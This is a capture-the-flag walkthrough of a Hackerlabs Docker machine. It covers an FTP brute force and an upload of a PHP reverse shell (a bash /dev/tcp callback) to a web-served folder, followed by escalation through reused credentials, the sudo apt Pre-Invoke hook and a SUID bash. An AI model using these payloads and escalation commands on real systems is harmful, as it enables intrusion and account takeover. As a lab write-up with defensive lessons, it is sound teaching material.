the_open_door
coffee
ESEN

ctrl+x

HackerlabsMediumLinux172.18.0.213 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#hackerlabs#docker#ftp#vsftpd#hydra#brute-force#file-upload#php#reverse-shell#apache#credential-hunting#password-list#sudo#apt#gtfobins#pre-invoke#suid#bash
TL;DR. ctrl+x is a container with two ports and four users. Port 21 runs a vsftpd that falls to a hydra brute force, and what turns that FTP into code execution is not the FTP itself but where what it uploads lands: ftpuser's directory is /var/www/html/uploads, which Apache serves at /uploads/, so a .php uploaded over FTP runs as soon as the browser asks for it (file upload to code execution). Already as www-data, next to index.html there is a notes file holding ten tomcat:<password> pairs (credential hunting) and one of them works. tomcat may run apt update as the user deamon, and apt accepts an option (APT::Update::Pre-Invoke) that runs a command before updating: that is a shell (sudo abuse via GTFOBins). The last hop comes from a script in /usr/local/bin that leaves /bin/bash with the SUID bit set, and a bash -p (SUID binary abuse) ends in root.
About the evidence. This machine's note was not written in Obsidian but in a Google Doc, so its seventeen screenshots are not vault files: they are links to googleusercontent.com. They have been read one by one and four are published: the two browser shots of /uploads/ (a web interface is never transcribed, section 12.7 of the standard), the attacker's ip a (deliberately redacted except for the Docker bridge) and the apt one, which is a transparent terminal on top of a web page and therefore does not admit a complete transcription. The rest are terminals and go to text. Four gaps the note does not preserve, stated instead of filled in: the three-name users.txt handed to hydra, how the public directory /uploads/ is discovered, the su that switches to tomcat and, the heaviest of them, the contents of /usr/local/bin/deamon.sh. There is also one contradiction between the note and its screenshot, resolved in favour of the screenshot and flagged where it happens.

Recon#

Initial scan#


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.18.0.2 -oG scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 00:12 CET
Initiating ARP Ping Scan at 00:12
Scanning 172.18.0.2 [1 port]
Completed ARP Ping Scan at 00:12, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:12
Scanning 172.18.0.2 [65535 ports]
Discovered open port 21/tcp on 172.18.0.2
Discovered open port 80/tcp on 172.18.0.2
Completed SYN Stealth Scan at 00:12, 1.13s elapsed (65535 total ports)
Nmap scan report for 172.18.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2024-12-17 00:12:56 CET for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:12:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Two things already say plenty before touching a single service.

The first is the TTL. The REASON column is what -vvv paints, and it reads syn-ack ttl 64. Every operating system starts that counter at a default value (Linux at 64, Windows at 128) and every routing hop drops it by one. A clean 64, with nothing taken off it, points at Linux on the other side and no routers in between. It is an indication, not proof: the value can be changed.

The second is the MAC address, 02:42:AC:12:00:02. The 02:42:AC prefix is the one Docker hands to its containers, and the last two octets are the IP itself in hexadecimal (AC:12:00:02 = 172.18.0.2). So this is not a machine, it is a container on a Docker network. The note confirms it in passing: the scan finds the target over ARP, which only works inside the same segment.

Two open ports out of 65,535. That is a small surface, and that is information in itself.


nmap -p21,80 -sCV 172.18.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 00:13 CET
Nmap scan report for 172.18.0.2 (172.18.0.2)
Host is up (0.000034s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Hacker Zone
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.17 seconds

The vsftpd is 3.0.5, the current version as of 2024, and it has no famous back door behind it: the smiley-face vsftpd 2.3.4 (:)) is another version and another story. There is no exploit to look for here. And nmap's ftp-anon script, the one that speaks up when the server accepts anonymous, said nothing: the absence of that line is what says a credential will be needed.

Nor does the Apache help: 2.4.58 on Ubuntu, up to date.

The web#


whatweb http://172.18.0.2
http://172.18.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.18.0.2], Script, Title[Hacker Zone]

Nothing. No content manager, no server-side language declared, no header giving anything away: an HTML5 page with one <script> and a title, Hacker Zone. The Country[RESERVED][ZZ] is just the IP being private, with no country to assign.

Having no technology to attack on port 80 pushes the work onto port 21, and that is the decision that orders the whole machine.

Shell as www-data#

Brute forcing the FTP#


hydra -L users.txt -P /home/krmena/rockyoudir/rockyou.txt -t 50 ftp://172.18.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-17 01:08:07
[DATA] max 50 tasks per 1 server, overall 50 tasks, 43033233 login tries (l:3/p:14344411), ~860665 tries per task
[DATA] attacking ftp://172.18.0.2:21/
[STATUS] 838.00 tries/min, 838 tries in 00:01h, 43032395 to do in 855:52h, 50 active
[21][ftp] host: 172.18.0.2   login: ftpuser   password: bebita
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

Here the note and its screenshot do not say the same thing, and the screenshot wins. The note's text writes the command as hydra -l deamon /home/krmena/rockyoudir/rockyou.txt -t 50 ftp://172.18.0.2: one single user (-l deamon), without the -P that tells hydra the file is a password list. Its own screenshot shows something else, and shows it three times: the command line carries -L users.txt, the summary says l:3 (three users, not one) and the hit is ftpuser, which is not even deamon. What ran is what gets published.

The users.txt file is not preserved. We know it held three names because hydra counts them (l:3/p:14344411, and that second number is the exact line count of rockyou.txt), but where those three names come from is in neither the note nor any screenshot. That is a gap and it stays a gap: inventing a user enumeration here would mean inventing the step that explains everything else.

What can be seen is the economics of the attack. Hydra's own estimate is 855 hours, thirty-five days; the hit arrives in the first minute, at try 838. bebita sits very high in rockyou.txt, and that is what the ^C on the last line is about: there is nothing left to wait for.

The FTP home: /var/www/html/uploads#

This is the file about to be uploaded:


cat revshell.php
<?php exec("bash -c 'bash -i >& /dev/tcp/172.18.0.1/1234 0>&1'") ?>

One line. exec() launches a bash that connects back to 172.18.0.1 on port 1234 and ties its input and both outputs to it (>& duplicates standard output and standard error onto the socket's descriptor; 0>&1 does the same for the input). It does not use nc, so it does not matter whether the container ships netcat: all it needs is a bash built with /dev/tcp, which is the norm.

That 172.18.0.1 is not a number picked at random, it is our address inside the container's network. Docker gives its bridge the first IP of the segment, and that is the one the container sees when it looks outwards:


ip a
...
34: br-e5684f7e3c48: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noque...
    link/ether 02:42:d9:29:b4:01 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-e5684f7e3c48
       valid_lft forever preferred_lft forever
    inet6 fe80::42:d9ff:fe29:b401/64 scope link proto kernel_ll
       valid_lft forever preferred_lft forever
...

Output of ip a with every other interface blanked out: the Docker bridge br-e5684f7e3c48 with address 172.18.0.1/16 and its broadcast 172.18.255.255

The screenshot is deliberately redacted except for the line that matters, which is why the transcription above carries its cuts marked: what gets published is what can be read.

With that, the put:


ftp ftpuser@172.18.0.2
Connected to 172.18.0.2.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> rm revshell.php
550 Remove directory operation failed.
ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||5412|)
150 Ok to send data.
...
226 Transfer complete.
68 bytes sent in 00:00 (131.23 KiB/s)
ftp> 

The 230 Login successful confirms hydra's credential from the other side, with the real client. The rm returns a 550 because there is nothing to delete yet; the put does go through, and the 226 Transfer complete with its 68 bytes is the proof the file arrived whole (the progress bar in between is cut off in the screenshot, which is why it is marked with ...).

And now the part that makes this machine what it is. The directory revshell.php has just landed in is Apache's public directory:

The browser at 172.18.0.2/uploads/ showing Apache's directory listing: Parent Directory and revshell.php, 68 bytes, dated 01:14 on 17 December 2024

The 68 bytes in the listing are the same 68 bytes the FTP counted. It is not a similar file: it is the same one. A file server and a web server sharing a folder is the whole flaw, and it is caused by no vulnerability in vsftpd or in Apache: it is caused by the configuration.

How the public directory /uploads/ is discovered the note does not preserve. There is no directory fuzzing, and no link on the front page mentioning it. What does get proven, later and from the inside, is that ftpuser's directory and Apache's /uploads are the same place: the shell lands exactly there.

The shell#


sudo nc -nlvp 1234
listening on [any] 1234 ...

Asking for the file in the browser is running it. Apache sees a .php, hands it to the interpreter, the interpreter runs the exec() and the request hangs, because the process serving that request is now our shell:

The same /uploads/ page reloading: the reload button has turned into a stop cross and the tab is spinning, because the request to revshell.php never finishes

And on the other side:

connect to [172.18.0.1] from (UNKNOWN) [172.18.0.2] 53458
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@194591c6f957:/var/www/html/uploads$ whoami
www-data
www-data@194591c6f957:/var/www/html/uploads$ hostname -I
172.18.0.2 
www-data@194591c6f957:/var/www/html/uploads$ uname -r
6.10.11-amd64
www-data@194591c6f957:/var/www/html/uploads$ uname
Linux
www-data@194591c6f957:/var/www/html/uploads$ 

The two complaints at the top (cannot set terminal process group and no job control) are the signature of a shell with no pseudo-terminal: there is an interpreter, but no controlling terminal, so there is no Ctrl+C, no Ctrl+Z and no history.

Three facts the shell gives away the moment it lands. The hostname is 194591c6f957, twelve hexadecimal digits, which is a Docker container's short identifier: it confirms what the scan's MAC address said. uname -r says 6.10.11-amd64, and that is the host's kernel, not the container's, because a container ships no kernel of its own. And the working directory, /var/www/html/uploads, is the missing proof: the FTP and Apache share a folder.

Access as tomcat#

A note with ten passwords#


ls
revshell.php

cd ..

ls
index.html
script.js
styles.css
super_secure_note_tomcat.txt
uploads

A document root of three files and one folder, and one of the three does not belong: index.html, script.js and styles.css are the website; super_secure_note_tomcat.txt is not. A .txt with the word tomcat in its name, served by the same Apache that serves the front page, is readable by anyone who knows to ask for it.


cat super_secure_note_tomcat.txt
tomcat:tomcat
tomcat:tomcatel
tomcat:tomcatelmejorsuper
tomcat:tomcatelmejorsupersecure
tomcat:tomcatelmejor
tomcat:tomcatelmejorsupersecurepassword
tomcat:tomcatelmejordetodos
tomcat:tomcatelpeorperomejor
tomcat:tomcasoloasimegusta
tomcat:tomcatelmejordetodosdelmundo

Ten candidates for a user that exists. This is not a leaked password, it is a list of attempts somebody wrote down: the dictionary comes ready-made and with the username already on it. The one that works is the fifth, tomcatelmejor.

The note does not preserve the su: there is no screenshot of the user switch nor of the password prompt. What proves the credential works is the prompt in the next screenshot, which no longer reads www-data@194591c6f957 but tomcat@194591c6f957. It is said here instead of publishing a command nobody can show.

Shell as deamon#

apt as another user#

tomcat may run apt update as the user deamon. And apt running as another user, even when that other user is not root, is exactly the kind of permission that looks harmless and is not.

The first attempt trips over something that is not the permission but the state: apt needs to write to /var/lib/apt/lists and /var/cache/apt/archives, and deamon has no reason to be able to. In the screenshot, right above the command and clipped by the edge, the end of that attempt can be read: unable to lock directory. The answer is not to fight the permissions, it is to tell apt to work somewhere else:


sudo -u deamon apt update -o Dir::State=/tmp -o Dir::Cache=/tmp
Ign:1 http://security.ubuntu.com/ubuntu noble-security InRelease
Ign:2 http://archive.ubuntu.com/ubuntu noble InRelease
Ign:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease
Ign:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease
...
Err:1 http://security.ubuntu.com/ubuntu noble-security InRelease
  Temporary failure resolving 'security.ubuntu.com'
Err:2 http://archive.ubuntu.com/ubuntu noble InRelease
  Temporary failure resolving 'archive.ubuntu.com'
Err:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease
  Temporary failure resolving 'archive.ubuntu.com'
Err:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease
  Temporary failure resolving 'archive.ubuntu.com'
rm: cannot remove '/var/cache/apt/archives/partial/*.deb': Permission denied
Reading package lists... Done
Building dependency tree... Done
All packages are up to date.
...

Semi-transparent terminal over a page of sudo documentation: the apt update command with its two options underlined in red and the Ign and Err lines of the update attempt below it

The block of four Ign: lines repeats three times before turning into the four Err: lines, and past what is transcribed the screenshot carries on with W: Failed to fetch warnings that the edge clips; that is why the output carries its .... That screenshot is a transparent terminal over a web page open behind it, so it does not admit a complete transcription and is published as it is.

What matters is that it fails where it does not matter and works where it does. There is no DNS in the container, so no repository downloads (Temporary failure resolving), and clearing the cache still gives Permission denied. None of that counts: apt reaches the end, reads the lists it already had and says All packages are up to date.. The command runs as deamon, which was the only thing that needed checking.

And apt has an option that turns that into a shell:


sudo -u deamon apt update -o Dir::State=/tmp -o Dir::Cache=/tmp -o APT::Update::Pre-Invoke::="/bin/bash"

APT::Update::Pre-Invoke is a hook: a list of commands apt hands to /bin/sh before starting the update. It exists so an administrator can chain tasks (mount a partition, warn a service) and it does not tell a task apart from an interactive shell. Given /bin/bash, apt launches that bash with the identity it is running under, which is the one sudo -u deamon has just given it. This is apt's entry in GTFOBins, and it exploits no flaw: it uses apt for what apt knows how to do.

The hook goes in on the command line (-o), which is the other half of the trick: there is no need to be able to write to /etc/apt/apt.conf.d/ to get it in.

Again, the note does not capture the moment of the hop; what proves it is the prompt in the next screenshot, which already reads deamon@194591c6f957.

Shell as root#

A file called good#


echo "chmod u+s /bin/bash" > good

cat good
chmod u+s /bin/bash

/usr/local/bin/deamon.sh
Inicio del script: Configuración y ejecución de tareas.
Configurando variables ...
Preparando el entorno de trabajo ...
El directorio de trabajo ya existe en /tmp/demonstration.
Realizando operaciones con archivos ...
Creando archivo de ejemplo en /tmp/demonstration/example.txt ...
/usr/local/bin/deamon.sh: line 68: /tmp/demonstration/example.txt: Permission denied
Error: No se pudo crear el archivo /tmp/demonstration/example.txt
Leyendo el contenido del archivo ...
cat: /tmp/demonstration/example.txt: No such file or directory
Manejando directorios ...
...

The script narrates what it does in Spanish and fails in plain sight: it cannot write to /tmp/demonstration, so it does not create example.txt, so the later cat finds nothing. All of that is noise.

What the script does with the good file the note does not show. There is no cat /usr/local/bin/deamon.sh anywhere, no ls -l of the binary, no sudo -l for deamon. What the evidence supports is the sequence and its result, and that is what gets published: good is written in deamon's directory, /usr/local/bin/deamon.sh is run, and right afterwards /bin/bash has the SUID bit set. The file name is not a guess: it is the script that asks for it, and without its code there is no saying on which line or with which privilege it reads it. It is stated instead of filled in.

The result is verified:


ls -l /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

The s where the owner's x would go is the SUID bit: the binary runs with its owner's privileges, and its owner is root.


bash -p
bash-5.2# whoami
root
bash-5.2# 

The -p is essential. Without it, bash notices that the effective user id (root, from the SUID) does not match the real one (deamon) and drops the privileges by itself as a safety measure: the shell would open as deamon and the SUID would have been for nothing. With -p it keeps the effective id, and the prompt says so without ambiguity: the $ has turned into a #.


cd /root

ls
root.txt

cat root.txt
97e2171b74984a382b62fcb39ab893c8

Attack chain#

nmap -p- → 21 and 80, REASON ttl=64 → Linux, MAC 02:42:AC:12:00:02 → Docker container
  │  -sCV: vsftpd 3.0.5 (current, no ftp-anon) and Apache 2.4.58 "Hacker Zone"
  │  whatweb: no CMS, no language → nothing to attack on port 80
  ▼
hydra -L users.txt -P rockyou.txt -t 50 ftp://172.18.0.2  ─►  ftpuser:bebita (838 tries)
  │  ftp: put revshell.php  ─►  226 Transfer complete, 68 bytes
  ▼
http://172.18.0.2/uploads/revshell.php  ─►  68 bytes: the SAME file
  │  ftpuser's directory IS /var/www/html/uploads
  ▼
nc -nlvp 1234  ─►  www-data@194591c6f957:/var/www/html/uploads
  │  uname -r: 6.10.11-amd64 (the host's kernel, not the container's)
  ▼
/var/www/html/super_secure_note_tomcat.txt: ten tomcat:<password> pairs [user pivoting]
  │  the fifth works: tomcatelmejor
  ▼
sudo -u deamon apt update -o Dir::State=/tmp -o Dir::Cache=/tmp   (proves the permission)
  │       + -o APT::Update::Pre-Invoke::="/bin/bash"  ─►  deamon@194591c6f957
  ▼
echo "chmod u+s /bin/bash" > good  +  /usr/local/bin/deamon.sh   [escalada]
  │  ls -l /bin/bash  ─►  -rwsr-xr-x 1 root root
  ▼
bash -p  ─►  bash-5.2#  ─►  /root/root.txt

Lessons learned#

  • The dangerous part of an FTP is almost never the FTP. This machine's vsftpd is current, it refuses anonymous logins and it has no exploit to look for. What breaks it is that one FTP user's directory coincides with the web server's public directory: two services each configured correctly on their own and misconfigured together. The check is one line long, look at where what you upload lands.
  • A three-name user list changes the scale of the attack. Hydra announced 855 hours and the hit came in the first minute. Not because the password was short, but because the search space was bounded: with a -L of three names it is three passes over rockyou, with a full /etc/passwd it is forty. Narrowing the user is worth more than adding threads.
  • A notes file in the public directory is a published credential. That super_secure_note_tomcat.txt did not even need reading from the inside: Apache was serving it. The name (super secure note) is the challenge's joke, but the pattern is real, and what makes it worse is that it was not one password but ten: somebody's list of attempts, written down so as not to forget.
  • apt as another user is a shell as that user. Pre-Invoke is a documented, intended hook, not a bug, which is why there is no patch to apply: what needs reviewing is the sudoers entry. Any binary that agrees to run something (a hook, an editor, a pager, an interpreter) turns a narrow sudo permission into a complete one over that identity.
  • bash -p or nothing. Setting SUID on /bin/bash achieves nothing if it is then launched without -p: bash itself drops the privileges on seeing that the effective and real ids do not match. That is the difference between an escalation that works and one that looks like it did nothing.
  • A container shows, and it is worth noticing early. The 02:42:AC:... MAC, the twelve-hex hostname, the missing DNS and a kernel that is not its own: four signals on this machine. They change what is worth looking for (no systemd to hijack, no repository to reach) and they change what getting root means, which here is root inside the container.
Command cheatsheet 15 commands

Quick review